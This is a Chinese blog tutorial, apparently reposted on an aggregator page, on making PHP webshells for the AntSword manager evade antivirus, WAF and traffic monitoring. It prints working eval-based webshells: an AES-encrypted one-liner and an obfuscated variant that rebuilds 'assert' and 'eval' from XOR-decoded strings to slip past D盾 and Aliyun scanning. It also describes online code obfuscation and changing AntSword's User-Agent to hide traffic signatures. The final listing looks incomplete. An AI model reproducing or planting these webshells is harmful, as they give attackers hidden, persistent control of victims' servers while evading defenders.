当前位置: 首页 > news >正文

php_webshell免杀--从0改造你的AntSword

本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。

本文来源无问社区,更多实战内容,渗透思路尽在无问社区icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/10530.html

0x00 前言:

为什么会有改造蚁剑的想法,之前看到有做冰蝎的流量加密,来看到绕过waf,改造⼀些弱特征,通过流量转换,跳过密钥交互。

但是,冰蝎需要反编译去改造源码,再进⾏修复bug,也⽐较复杂。⽽AntSword相对于冰蝎来说,不限制webshell,即⼀句话也可以进⾏连接,还可以⾃定义编码器和解码器,可以很容易让流量做到混淆。

0x01 蚁剑介绍及其改编

关于蚁剑的介绍,这⾥就不多说了,⼀个连接webshell的管理器,使⽤前端nodejs进⾏编码。AntSword给我最⼤的好处是可以连接⼀句话⽊⻢,⽽且可以⾃定义编码器和解码器。这让我们就有了很多种webshell的变换。

图片

但是,蚁剑默认的编码器和菜⼑都是⼀样的,这⾥⽤burpsuite来进⾏抓包看下流量。

蚁剑默认流量

图片

返回来的是默认蚁剑的默认流量,所以的话,这⾥就基本上过不去态势感知和waf,所以很容易想到了编码器和解码器的选择,可以进⾏流量的改造来进⾏waf的绕过,先选⽤Y默认的base64进⾏测试。

默认的base64编码器

图片

但是看到了使⽤base 64编码之后是有eval字样的,这样的话,肯定被态势感知和全流量⼀体机来进⾏特征的抓取,肯定会报威胁。

去github上找到蚁剑的编码器和对应的解码器

github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php

这⾥下载默认的aes128的默认流量。

图片

这⾥进⾏流量抓取。⾥⾯⾃带了php的webshell。

 <?php@session_start();$pwd='ant';$key=@substr(str_pad(session_id(),16,'a'),0,16);@eval(openssl_decrypt(base64_decode($_POST[$pwd]), 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));?>

默认webshell讲解
这里打开session_start,然后截取Cookie中的PHPSESSION的16位。然后进行aes加密,密码为pwd

再D盾,河⻢和阿⾥云进⾏扫描:

图片

河⻢没有查出来,可能是⽐较弱

图片

阿⾥云直接报恶意

图片

初步修改后的webshell:

这⾥先做代码修改,直接放出我修改之后的webshell代码。

 <?php@session_start();error_reporting(E_ALL^E_NOTICE^E_WARNING);function decode($key,$data){$data_new = '';for($i=0;$i<=strlen($data);$i++){$b=$data[$i]^$key;$data_new = $data_new.urldecode($b);}define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_new[11].strrev($data_new)[4].strrev($data_new)[0]);define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_new)[6].'($result)');return $data_new;}function decrypto($key,$data){$data = base64_decode($data);$result = openssl_decrypt($data, 'AES-128-ECB', $key, OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');$ass=ass;$ass(ev);}class run{public $data;public function __construct(){$this->data = '#````````#'.$_POST[1]."#`#`#";$this->data = $this->data."123456";}}$key=@substr(str_pad(session_id(),16,'a'),0,16);$run = new run();decrypto($key,$run->data);?>

这⾥能过去D盾的静态,但是⽆法绕过阿⾥云查杀。

图片

所以这⾥还需要进⾏代码混淆。(这也是之后webshell免杀常常⽤到的)

混淆之后的webshell:

这⾥提供php在线加密的站 : https://enphp.djunny.com/

这⾥加密之后⽣成webshell。如下:

<?php
function decrypto($key, $data) {$data = base64_decode($data);$result = openssl_decrypt($data, "AES-128-ECB", $key, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING);return str_replace(array('%3D', '%25', '%3F', '%3E', '%23', '%2A', '%3B', '%27', '%2C'), array('=', '%', '?', '>', '#', '*', ';', "'", ','), $result);
}function decode($key, $data) {$data_new = '';for ($i = 0; $i < strlen($data); $i++) {$b = $data[$i] ^ $key;$data_new .= urldecode($b);}return $data_new;
}session_start();
$key = substr(str_pad(session_id(), 16, "a"), 0, 16);
$run = new run();
decrypto($key, $run->data);
?>

经过加密之后,可以发现,进⾏了goto的混淆,所以这⾥就达到了代码混淆。因为之前绕过了D盾和河⻢,这⾥直接去阿⾥云查杀。

图片

已经成功绕过阿⾥云查杀。⽤burpsuite抓下流量特征。

图片

从流量加密来分析的话,已经能绕过态势感知和全流量分析机。

蚁剑UA头的修改:

在burp的数据包中能清楚的看到蚁剑的特征

图片

在目录/modules/request.js文件中修改UA头

图片

/modules/update.js文件修改

图片

0x02 总结

关于免杀来说,通常是进⾏代码加密混淆,特征码替换或者分割传输等情况。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • MySQL补充性文件
  • recursion depth exceeded” error
  • 【Linux常用命令】之sed命令
  • 设计模式在FileBrowser中的几个应用
  • CTF-Web习题:2019强网杯 UPLOAD
  • 1.2.2、练习题之十进制转二进制
  • MFC:以消息为基础的事件驱动系统和消息映射机制
  • 【java基础】spring springMVC springboot 的区别
  • 软件缺陷(Bug)、禅道
  • npm上传自己的包以及发布过程遇到的问题
  • Leetcode—263. 丑数【简单】
  • JCR一区级 | Matlab实现GA-Transformer-LSTM多变量回归预测
  • 前端系列-6 使用Vue3搭建前端工程与setup语法糖介绍
  • Java——————接口(interface) <详解>
  • java中log4j.properties配置文件浅析
  • android高仿小视频、应用锁、3种存储库、QQ小红点动画、仿支付宝图表等源码...
  • CEF与代理
  • ES6简单总结(搭配简单的讲解和小案例)
  • JavaScript对象详解
  • JS基础之数据类型、对象、原型、原型链、继承
  • leetcode378. Kth Smallest Element in a Sorted Matrix
  • MySQL几个简单SQL的优化
  • nodejs调试方法
  • oschina
  • PHP 7 修改了什么呢 -- 2
  • Python学习笔记 字符串拼接
  • vue中实现单选
  • 工作手记之html2canvas使用概述
  • 开源地图数据可视化库——mapnik
  • 用jQuery怎么做到前后端分离
  • 正则表达式小结
  • ​一、什么是射频识别?二、射频识别系统组成及工作原理三、射频识别系统分类四、RFID与物联网​
  • (51单片机)第五章-A/D和D/A工作原理-A/D
  • (C#)if (this == null)?你在逗我,this 怎么可能为 null!用 IL 编译和反编译看穿一切
  • (C++)栈的链式存储结构(出栈、入栈、判空、遍历、销毁)(数据结构与算法)
  • (第9篇)大数据的的超级应用——数据挖掘-推荐系统
  • (附源码)springboot建达集团公司平台 毕业设计 141538
  • (附源码)计算机毕业设计高校学生选课系统
  • (四)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (幽默漫画)有个程序员老公,是怎样的体验?
  • (转)iOS字体
  • (转)Oracle 9i 数据库设计指引全集(1)
  • (转)程序员技术练级攻略
  • (轉貼) VS2005 快捷键 (初級) (.NET) (Visual Studio)
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .NET 8.0 中有哪些新的变化?
  • .Net Core 中间件验签
  • .NET Core跨平台微服务学习资源
  • .NET 通过系统影子账户实现权限维持
  • .NET 中各种混淆(Obfuscation)的含义、原理、实际效果和不同级别的差异(使用 SmartAssembly)
  • .net使用excel的cells对象没有value方法——学习.net的Excel工作表问题
  • /usr/bin/env: node: No such file or directory
  • ::什么意思
  • @RequestParam,@RequestBody和@PathVariable 区别
  • @vueup/vue-quill使用quill-better-table报moduleClass is not a constructor